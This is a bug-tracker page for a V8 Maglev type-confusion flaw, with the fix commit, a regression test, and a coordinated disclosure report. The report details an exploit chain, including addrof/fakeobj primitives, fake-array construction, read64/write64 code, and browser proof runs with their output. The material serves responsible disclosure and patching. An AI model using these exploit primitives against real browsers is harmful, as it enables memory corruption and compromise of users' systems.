High chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker523884658
Fix commit811ebc89d5d2 (v8/v8) +84/-0
CISA KEVNot listed
CreditedOpenAI Codex Security (amyb)
Disclosed2026-06-30

Changed Functions

FunctionChangeNotes
if
test/mjsunit/maglev/regress-523884658.js
modified

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • test/mjsunit/maglev/regress-523884658.js
From 811ebc89d5d26653f73b9b0e589591e09344e551 Mon Sep 17 00:00:00 2001
From: Victor Gomes <victorgomes@chromium.org>
Date: Tue, 16 Jun 2026 14:09:38 +0200
Subject: [PATCH] [maglev] Check map of inlined array in ArrayIteratorPrototypeNext

Fixed: 523884658
Change-Id: I2a2bba817952d7023eb4b97ad41d8bb460fb9359
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7950517
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Auto-Submit: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108053}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index e8c6c11..5ed6e5e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -8620,6 +8620,8 @@
 
   if (map_inference.has_value()) {
     RETURN_IF_ABORT(map_inference->InsertMapChecks(zone()));
+  } else {
+    RETURN_IF_ABORT(BuildCheckMaps(iterated_object, base::VectorOf(maps)));
   }
 
   // Load the [[NextIndex]] from the {iterator}.
diff --git a/test/mjsunit/maglev/regress-523884658.js b/test/mjsunit/maglev/regress-523884658.js
new file mode 100644
index 0000000..41d7cd2
--- /dev/null
+++ b/test/mjsunit/maglev/regress-523884658.js
@@ -0,0 +1,82 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --maglev
+
+let transition = false;
+let tagged_value;
+let double_value;
+
+function tagged_reflect() {
+  const a = eval('tagged_inner.arguments');
+  if (transition) {
+    a[1][0] = tagged_value;
+    a[1][1] = tagged_value;
+  } else {
+    a[1][0] = 3.3;
+    a[1][1] = 3.3;
+  }
+}
+
+function tagged_next(iterator) {
+  return iterator.next().value;
+}
+
+function tagged_inner(iterator, array) {
+  tagged_reflect();
+  return tagged_next(iterator);
+}
+
+function tagged_outer() {
+  const array = [1.1, 2.2];
+  const iterator = array.values();
+  return tagged_inner(iterator, array);
+}
+
+function double_reflect() {
+  const a = eval('double_inner.arguments');
+  if (transition) {
+    a[1][0] = double_value;
+    a[1][1] = double_value;
+  } else {
+    a[1][0] = 3;
+    a[1][1] = 3;
+  }
+}
+
+function double_next(iterator) {
+  return iterator.next().value;
+}
+
+function double_inner(iterator, array) {
+  double_reflect();
+  return double_next(iterator);
+}
+
+function double_outer() {
+  const array = [1, 2];
+  const iterator = array.values();
+  return double_inner(iterator, array);
+}
+
+const marker = {};
+tagged_value = marker;
+double_value = 1.5;
+
+for (const f of [tagged_reflect, tagged_next, tagged_inner, tagged_outer,
+                 double_reflect, double_next, double_inner, double_outer]) {
+  %PrepareFunctionForOptimization(f);
+}
+
+tagged_outer();
+tagged_outer();
+double_outer();
+double_outer();
+
+%OptimizeMaglevOnNextCall(tagged_outer);
+%OptimizeMaglevOnNextCall(double_outer);
+
+transition = true;
+assertSame(marker, tagged_outer());
+assertEquals(1.5, double_outer());
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress-523884658.js b/test/mjsunit/maglev/regress-523884658.js
new file mode 100644
index 0000000..41d7cd2
--- /dev/null
+++ b/test/mjsunit/maglev/regress-523884658.js
@@ -0,0 +1,82 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --maglev
+
+let transition = false;
+let tagged_value;
+let double_value;
+
+function tagged_reflect() {
+  const a = eval('tagged_inner.arguments');
+  if (transition) {
+    a[1][0] = tagged_value;
+    a[1][1] = tagged_value;
+  } else {
+    a[1][0] = 3.3;
+    a[1][1] = 3.3;
+  }
+}
+
+function tagged_next(iterator) {
+  return iterator.next().value;
+}
+
+function tagged_inner(iterator, array) {
+  tagged_reflect();
+  return tagged_next(iterator);
+}
+
+function tagged_outer() {
+  const array = [1.1, 2.2];
+  const iterator = array.values();
+  return tagged_inner(iterator, array);
+}
+
+function double_reflect() {
+  const a = eval('double_inner.arguments');
+  if (transition) {
+    a[1][0] = double_value;
+    a[1][1] = double_value;
+  } else {
+    a[1][0] = 3;
+    a[1][1] = 3;
+  }
+}
+
+function double_next(iterator) {
+  return iterator.next().value;
+}
+
+function double_inner(iterator, array) {
+  double_reflect();
+  return double_next(iterator);
+}
+
+function double_outer() {
+  const array = [1, 2];
+  const iterator = array.values();
+  return double_inner(iterator, array);
+}
+
+const marker = {};
+tagged_value = marker;
+double_value = 1.5;
+
+for (const f of [tagged_reflect, tagged_next, tagged_inner, tagged_outer,
+                 double_reflect, double_next, double_inner, double_outer]) {
+  %PrepareFunctionForOptimization(f);
+}
+
+tagged_outer();
+tagged_outer();
+double_outer();
+double_outer();
+
+%OptimizeMaglevOnNextCall(tagged_outer);
+%OptimizeMaglevOnNextCall(double_outer);
+
+transition = true;
+assertSame(marker, tagged_outer());
+assertEquals(1.5, double_outer());
Loading diff…

Original Bug Report

reported by am...@openai.com

V8 Maglev Stale Virtual-Array Map via Legacy Arguments Frame Materialization

Hello,

We’re contacting you from OpenAI Security Research to notify you of a potential security issue identified during our internal research process.

The issue appears to affect your product. We’ve validated the behavior internally and believe it may pose a risk.

Please see the below report for details.

We are reaching out privately and cooperatively. We are happy to collaborate on patch validation or coordinate timelines. We are not planning to make any public disclosure unless there’s an agreement to do so or we assess that the risk requires it.

Please let us know how you’d prefer to proceed and if you need additional details or support.

Best regards, OpenAI Security Research Team outbounddisclosures@openai.com

DISCLOSURE REPORT FOLLOWS:

Security Report: Maglev Stale Virtual-Array Map Through Legacy Arguments Frame Materialization Enables Caged Arbitrary Read/Write

Reporter: OpenAI Codex Security
Organization: OpenAI
Component: V8 JavaScript Engine (Maglev optimizer / legacy function accessors)
Affected Area: TryReduceArrayIteratorPrototypeNext, inlined-allocation escape tracking, legacy Function.prototype.arguments frame materialization
Bug Class: Out-of-band alias creation -> stale virtual-object map -> elements-representation confusion -> caged arbitrary read/write Discovery Method: Source review, optimizer-state analysis, runtime validation


Summary

Maglev’s TryReduceArrayIteratorPrototypeNext specializes array-iterator loads using the compile-time map of a freshly allocated virtual JSArray. When the array is represented as an InlinedAllocation, the reducer treats IsEscaping() == false as proof that the map cannot change. It then chooses a representation-specific element load without emitting a runtime map check.

That escape decision does not account for aliases created by the legacy Function.prototype.arguments accessor. A separate no-argument JavaScript callee can request inner.arguments. V8 walks the active optimized stack, finds the inlined inner frame, reconstructs its argument list from deoptimization metadata, and returns an arguments object containing the fresh array. The callee can change that array’s elements kind even though the array is not an operand of the call in Maglev’s graph.

Execution then returns to the optimized caller. Maglev still uses the original virtual map and executes the stale representation-specific load. Two inverse transitions provide complementary primitives:

PACKED_DOUBLE_ELEMENTS -> PACKED_ELEMENTS
    stale double load reads two compressed tagged pointers -> addrof

PACKED_SMI_ELEMENTS -> PACKED_DOUBLE_ELEMENTS
    stale tagged load consumes attacker-controlled double bits -> fakeobj

The supplied exploit combines addrof and fakeobj into a fake packed-double JSArray. Retargeting its elements pointer provides chosen aligned 64-bit reads and writes within the V8 pointer-compression cage. The proof reads real object headers and changes an independently allocated victim array element from 11.11 to 1337.1337.

No V8 runtime flags, native syntax, exposed corruption API, or experimental feature flags are required. The complete arbitrary-read/write chain was confirmed on current V8 main, the current Chrome Stable V8 revision, and ordinary page JavaScript in both the first affected desktop Chrome Stable and the current Chrome Stable renderer.

Impact

Malicious JavaScript running in the default-configuration V8 engine can obtain arbitrary read/write within the V8 heap sandbox through this Maglev type confusion.

Current-main proof, with the memory-corruption API compiled out and no V8 runtime flags:

$ out/maglev-main-release/d8 exploit-main.js
addrof(carrier) = 0x0123a30d
addrof(victim)  = 0x0123a385
fakeobj length  = 32
carrier +0x00  = 0x0100d141 0x000007e5
carrier +0x08  = 0x0123a325 0x00000010
victim.elements = 0x0123a39d, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
DEFAULT_FLAGS_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write

First-affected Chrome Stable renderer proof using ordinary page JavaScript:

Google Chrome for Testing 127.0.6533.72
addrof(carrier) = 0x00339505
addrof(victim)  = 0x0033957d
fakeobj length  = 32
carrier +0x00  = 0x00115199 0x00000725
carrier +0x08  = 0x0033951d 0x00000010
victim.elements = 0x00339595, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
CHROME127_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write

Chrome Stable renderer proof using ordinary page JavaScript:

Google Chrome for Testing 149.0.7827.115
addrof(carrier) = 0x011ed999
addrof(victim)  = 0x011eda11
fakeobj length  = 32
carrier +0x00  = 0x010329bd 0x000007e5
carrier +0x08  = 0x011ed9b1 0x00000010
victim.elements = 0x011eda29, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
CHROME_STABLE_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write

The browser reproductions use official current and archived Chrome for Testing Stable headless-shell artifacts. --no-sandbox disables Chromium’s outer process sandbox for operation inside the local container; no --js-flags value or other V8 flag is supplied. The vulnerability and demonstrated primitives are inside the renderer’s normally sandboxed V8 heap.

The proof demonstrates arbitrary memory access inside the V8 pointer cage. It does not claim a second, independent escape from the V8 heap sandbox to native process memory.

Root Cause (High Level)

Maglev reasons about the fresh iterated array through two incompatible views:

compiler view:
    no graph-visible escaping use -> initial virtual map is stable

runtime view:
    a callee reflects an active inlined frame -> obtains the array argument
    -> changes its elements kind before iterator.next()

The hidden alias is created by a stack walk, not by passing the array to the callee. Consequently, the Maglev call node has no dataflow edge to the array, and normal escape/use accounting does not invalidate the virtual map.

The inlined-allocation branch then derives elements_kind directly from the captured virtual map. Only the non-inlined branch creates MapInference, and only that branch inserts runtime map checks. The optimized load therefore uses the old backing-store representation after runtime semantics have installed a new one.

Affected Versions

The vulnerability is present when the following source properties are present:

TryReduceArrayIteratorPrototypeNext specializes an InlinedAllocation.
The reducer treats IsEscaping() == false as map stability.
The inlined-allocation branch reads array->map() directly.
MapInference and InsertMapChecks are used only in the non-inlined branch.
Legacy Function.prototype.arguments walks active optimized/inlined frames.
An arbitrary JavaScript call can occur between allocation and iterator.next().

Exploitability was confirmed on:

V8 main: 3110f734eda952e4795c484fb698d1ec7df51392
V8 version: 15.1.0 (candidate)
First affected Chrome Stable: 127.0.6533.72 (Linux)
First affected embedded V8: 5c5f3d841901cb78a4e130d38d081d03f82f1e36
First affected V8 version: 12.7.224.16
Chrome Stable: 149.0.7827.115
Chrome Stable embedded V8: 16ef80c1f5d3cfade812bd1743952a4cfd480a31
Chrome Stable V8 version: 14.9.207.27
Architecture: x86-64, pointer compression and V8 sandbox enabled

The current-main commit is 138 commits after the initially tested vulnerable commit 5068658e0b754814453e62dfe5898027ee052506. The vulnerable reducer structure remains present on both current main and the Chrome Stable V8 revision.

The oldest affected stable V8 line is 12.7. The first desktop release was Chrome Stable 127.0.6533.72 on Linux and 127.0.6533.72/73 on Windows and macOS on 2024-07-23. ChromiumDash identifies the Linux build’s embedded V8 revision as 5c5f3d841901cb78a4e130d38d081d03f82f1e36, version 12.7.224.16. The full arbitrary-read/write chain passed 20/20 fresh renderer processes using the official archived Linux headless-shell artifact with no V8 flags.

As a source-history negative control, the final Chrome 126 Stable revision embeds V8 12.6.228.28 at 556665385d5cdc2a0793b977d373da88091a7208. The introducing commit is not an ancestor of that revision, and TryReduceArrayIteratorPrototypeNext is absent. This places the desktop Stable boundary at Chrome 127.

Official release references:

The vulnerability-introducing commit is:

bc1263ec361c9d364438d66bf5cd311304eaee38
[maglev] Inline ArrayIteratorPrototypeNext
Cr-Commit-Position: refs/heads/main@{#94042}
Commit date: 2024-05-23

That change adds the entire reducer and, in its first version, directly trusts the captured map of an inlined iterated array. The parent has no TryReduceArrayIteratorPrototypeNext reducer; the commit adds the optimization and the unsafe map-stability assumption together.

The source change is available at:

https://chromium.googlesource.com/v8/v8/+/bc1263ec361c9d364438d66bf5cd311304eaee38%5E%21/


Detailed Analysis

Virtual Array Map Is Trusted Without a Runtime Check

On current main, the inlined iterated-object branch checks graph escape state and then consumes the virtual object’s map:

https://github.com/v8/v8/blob/3110f734eda952e4795c484fb698d1ec7df51392/src/maglev/maglev-graph-builder.cc#L8489-L8506

if (iterated_object->Is<InlinedAllocation>()) {
  VirtualObject* array = iterated_object->Cast<InlinedAllocation>()->object();
  if (IsEscaping(iterated_object->Cast<InlinedAllocation>())) {
    FAIL("allocation is escaping, map could have been changed");
  }
  ...
  auto map = *array->map();
  elements_kind = map.elements_kind();
  maps.push_back(map);
} else {
  map_inference.emplace(this, iterated_object);
  ...
}

Runtime checks are conditional on map_inference, which is absent for the inlined-allocation path:

https://github.com/v8/v8/blob/3110f734eda952e4795c484fb698d1ec7df51392/src/maglev/maglev-graph-builder.cc#L8532-L8534

if (map_inference.has_value()) {
  RETURN_IF_ABORT(map_inference->InsertMapChecks(zone()));
}

The Chrome Stable V8 revision has the same control flow at lines 9395-9439:

https://github.com/v8/v8/blob/16ef80c1f5d3cfade812bd1743952a4cfd480a31/src/maglev/maglev-graph-builder.cc#L9395-L9439

The first affected Chrome Stable V8 revision contains the original reducer and the same inlined-allocation map trust at lines 6857-6906:

https://github.com/v8/v8/blob/5c5f3d841901cb78a4e130d38d081d03f82f1e36/src/maglev/maglev-graph-builder.cc#L6857-L6906

The reducer later passes elements_kind and maps into the specialized element load. Nothing between the hidden call and that load verifies that the runtime array still has the captured map.

Legacy .arguments Creates an Out-of-Band Alias

The optimized function calls the reflector without passing the array:

function addrof_inner(iterator, array) {
  materializeAddrofArguments();
  return addrof_next(iterator);
}

function materializeAddrofArguments() {
  const activeArguments = eval('addrof_inner.arguments');
  activeArguments[1][0] = addressValue0;
  activeArguments[1][1] = addressValue1;
}

The legacy accessor traverses active JavaScript frames, finds the requested function even when it was inlined, and reconstructs its arguments:

https://github.com/v8/v8/blob/3110f734eda952e4795c484fb698d1ec7df51392/src/builtins/accessors.cc#L512-L526

DirectHandle<Object> Accessors::GetLegacyFunctionArguments(
    Isolate* isolate, DirectHandle<JSFunction> function) {
  DirectHandle<Object> result = isolate->factory()->null_value();
  if (!function->shared()->native()) {
    for (JavaScriptStackFrameIterator it(isolate); !it.done(); it.Advance()) {
      JavaScriptFrame* frame = it.frame();
      int function_index = FindFunctionInFrame(frame, function);
      if (function_index >= 0) {
        result = GetFrameArguments(isolate, &it, function_index);
        break;
      }
    }
  }
  return result;
}

In the Maglev trace, the relevant helper call has an empty argument vector:

CallKnownJSFunction(... materializeAddrofArguments>, {}) [n41,n3,n39,n4]

There is no SSA edge from that call to the iterator or array. After the call, Maglev still classifies the array as a non-escaping inlined allocation and emits a representation-specific load with no intervening map check.

The first affected Stable needs a slightly different but equivalent source shape because its older escape accounting marks an array passed as an explicit inlined-call argument as escaping. The Chrome 127 proof instead allocates the array inside the inlined callee and assigns it to that callee’s parameter:

function inline_local_addrof_inner(slot) {
  const array = [1.1, 2.2];
  const iterator = array.values();
  slot = array;
  materializeInlineLocalAddrofArguments();
  return inline_local_addrof_next(iterator);
}

function materializeInlineLocalAddrofArguments() {
  const activeArguments = eval('inline_local_addrof_inner.arguments');
  activeArguments[0][0] = addressValue0;
  activeArguments[0][1] = addressValue1;
}

V8’s legacy accessor materializes the current reassigned parameter value. The array therefore appears in the reconstructed inlined-frame arguments without ever being an operand of the graph-visible helper call. Chrome 127’s Maglev trace shows inline_local_addrof_inner inlined into its outer wrapper and ArrayIteratorPrototypeNext reduced without the “allocation is escaping” failure produced by the explicit-argument form.

Stale Representation Loads Produce addrof and fakeobj

For addrof, the fresh array begins as packed doubles:

const array = [1.1, 2.2];

The hidden alias stores two heap objects. Runtime semantics transition the array to PACKED_ELEMENTS, whose backing store contains adjacent 32-bit compressed tagged pointers. Maglev still performs a 64-bit fixed-double load. Splitting the loaded bits yields both tagged addresses.

For fakeobj, the fresh array begins as packed Smis:

const array = [1, 2];

The hidden alias stores a crafted double. Runtime semantics transition the array to PACKED_DOUBLE_ELEMENTS. Maglev still performs a compressed tagged load and consumes the low 32 bits of the double slot as a tagged pointer. This returns an object reference selected by the attacker.

The two primitives are independent consequences of the same stale map. The browser proof additionally verifies fakeobj(addrof(carrier)) === carrier, so the result is not inferred only from malformed numeric output.

Exploitation Strategy

The default-flags proof allocates an eight-element packed-double carrier and a separate victim packed-double array. addrof obtains both compressed tagged addresses. Controlled carrier element data is then interpreted as a fake JSArray using fakeobj.

The fake array contains four compressed fields encoded in two doubles:

carrier[0] low 32:  packed-double JSArray map
carrier[0] high 32: empty FixedArray (properties)
carrier[1] low 32:  attacker-selected elements pointer
carrier[1] high 32: Smi(32) length

The packed-double JSArray map is a deterministic, build-specific snapshot constant. It is not leaked from native memory and does not require the V8 memory-corruption API. The exploit derives the carrier and victim addresses at runtime; only the snapshot map value changes between V8 builds.

For the browser proofs, each snapshot value was recovered without a V8 debug API: a page retained a packed-double array containing four unique 64-bit sentinel values, GDB searched the renderer heap for that sequence, and the adjacent FixedDoubleArray and JSArray headers yielded the map. This produced 0x00115199 for Chrome 127 and 0x010329bd for Chrome 149. Each value was then independently validated by reading the carrier’s real header through the final arbitrary-read primitive.

Retargeting the fake array’s elements pointer produces the final primitives:

function setReadWriteTarget(taggedObjectAddress, byteOffset) {
  const elements = taggedObjectAddress + byteOffset - 8;
  carrier[1] = u32sToF64(elements, 0x40);
}

function read64(address, offset) {
  setReadWriteTarget(address, offset);
  return f64ToU32s(fakeArray[0]);
}

function write64(address, offset, low, high) {
  setReadWriteTarget(address, offset);
  fakeArray[0] = u32sToF64(low, high);
}

The proof first reads the carrier’s real map, properties, elements, and length. It then reads the victim’s elements pointer and writes the IEEE-754 bits for 1337.1337 into the victim backing store. A direct readback and ordinary victim[0] access both confirm the chosen write.

Proof of Concept

The reporting package contains these primary artifacts:

exploit-default.js             zero-V8-flag d8 arbitrary read/write proof
exploit-main.js                current-main snapshot wrapper
exploit-stable.js              exact Chrome Stable V8 snapshot wrapper
chrome-stable-primitives.html  Chrome Stable addrof/fakeobj browser proof
chrome-stable-full.html        Chrome Stable arbitrary read/write browser proof
chrome127-inline-local-primitives.html
                               first-affected Stable addrof/fakeobj proof
chrome127-full.html             first-affected Stable arbitrary read/write proof
reproduce_default.sh           verifies expected d8 output markers
reproduce_stable.sh            verifies the exact Stable V8 d8 proof
reproduce_chrome_stable.sh     verifies the browser DOM evidence
reproduce_chrome127.sh         verifies first-affected Stable DOM evidence
build_default.sh               production-style d8 build configuration

Current main was built with:

is_debug=false
dcheck_always_on=false
symbol_level=0
v8_enable_memory_corruption_api=false

The build used all 32 local workers and completed 2,478 steps. The invocation for the proof is simply:

out/maglev-main-release/d8 exploit-main.js

The browser caged-arbitrary-read/write proof can be run with the official matching Stable headless-shell:

chrome-headless-shell \
  --no-sandbox \
  --disable-gpu \
  --disable-dev-shm-usage \
  --disable-background-networking \
  --dump-dom \
  file:///absolute/path/chrome-stable-full.html

Expected DOM text includes:

CHROME_STABLE_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write

The first-affected Stable proof is run with the archived Chrome 127 artifact:

CHROME=/path/to/chrome-127.0.6533.72/chrome-headless-shell \
  ./reproduce_chrome127.sh

Expected DOM text includes:

CHROME127_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write

No --js-flags argument is used. The page itself uses only ordinary JavaScript APIs, including the legacy .arguments property.

The original zero-flag d8 exploit passed 50/50 fresh-process runs. The first affected Chrome 127 Stable browser proof passed 20/20 fresh renderer processes, and the current Chrome Stable browser proof passed 10/10. Complete recorded output, the decisive graph trace regions, build configuration, and source snippets are included in the maintainer archive.

Suggested Fix

The immediate issue is that the inlined-allocation path uses a captured virtual map as a runtime invariant without a map check.

The safest targeted fix is to emit explicit runtime map checks for the expected maps immediately before loading array length/elements in TryReduceArrayIteratorPrototypeNext, including when iterated_object is an InlinedAllocation. If the hidden alias has changed the elements kind, the map check must deoptimize before the representation-specific load.

A ready-to-apply patch is distributed next to this report as:

maglev-array-iterator-legacy-arguments-fix.patch
SHA-256: 769b59a25b8e3861f3c77f34220ce37aafce20727c4452c2f67b2cfdd53ca3f2

The patch changes two files:

src/maglev/maglev-graph-builder.cc
test/mjsunit/maglev/regress-array-iterator-legacy-arguments.js

The reducer already uses MapInference::InsertMapChecks for non-inlined objects. The patch adds the corresponding validation for its previously unchecked InlinedAllocation branch:

if (map_inference.has_value()) {
  RETURN_IF_ABORT(map_inference->InsertMapChecks(zone()));
} else {
  RETURN_IF_ABORT(BuildCheckMaps(iterated_object, base::VectorOf(maps)));
}

This is preferable to disabling the optimization. BuildCheckMaps consults Maglev’s known-node aspects: when no side effect has occurred, the expected map is still fresh and the check folds away. When an arbitrary call has made that fact stale, as in this exploit, it emits a CheckMaps node. A changed elements kind then deoptimizes before the reducer loads the array length, elements, or representation-specific value.

Post-patch graph traces show the required ordering for both primitive directions:

CallKnownJSFunction(materialize_tagged_arguments)
Trying to reduce builtin ArrayIteratorPrototypeNext
CheckMaps(PACKED_DOUBLE_ELEMENTS)
Load array length/elements

Call(materialize_double_arguments proxy)
Trying to reduce builtin ArrayIteratorPrototypeNext
CheckMaps(PACKED_SMI_ELEMENTS)
Load array length/elements

A control case with no intervening side effect still reduces ArrayIteratorPrototypeNext without emitting CheckMaps, confirming that the normal fresh-allocation fast path remains unchanged.

Conservative alternatives are:

  1. Refuse this optimization when the iterated object is an InlinedAllocation and arbitrary JavaScript can run before the load.
  2. Mark materializable inlined-frame arguments as escaping across arbitrary calls.
  3. Invalidate virtual-object map facts across calls that can trigger legacy active-stack introspection.
  4. Ensure legacy argument materialization deoptimizes the optimized activation before returning the alias to JavaScript, including already allocated inlined objects.

The explicit map check is the smallest robust mitigation for this reducer. A systemic hidden-alias fix is still desirable because .arguments and .caller can expose active-frame values without normal graph-visible dataflow.

The included regression test uses separate no-argument reflectors and safely covers both stale-representation directions:

const marker = {};
tagged_value = marker;
double_value = 1.5;

const tagged_result = tagged_outer();
const double_result = double_outer();
assertSame(marker, tagged_result);
assertEquals(1.5, double_result);

On vulnerable V8, the first result is compressed tagged-pointer bits interpreted as a double, while the second consumes the low word of 1.5 as Smi 0. The test never dereferences an attacker-selected invalid pointer. The helper receives no array or iterator argument, ensuring the test covers the hidden stack-reflection alias rather than ordinary escape accounting.

Validation performed on V8 main commit 3110f734eda952e4795c484fb698d1ec7df51392:

Before patch: regression exits 1 (expected object, found pointer-bit double)
After patch: focused regression 20/20 passed
After patch: original caged-arbitrary-R/W PoC blocked 10/10 at addrof validation
After patch: 7 adjacent array-iterator tests passed
After patch: complete mjsunit/maglev suite, 621/621 passed
Build: release d8, 32 workers, memory-corruption API disabled

CREDIT INFORMATION

Reporter credit: OpenAI Codex Security (amyb)

View on issue tracker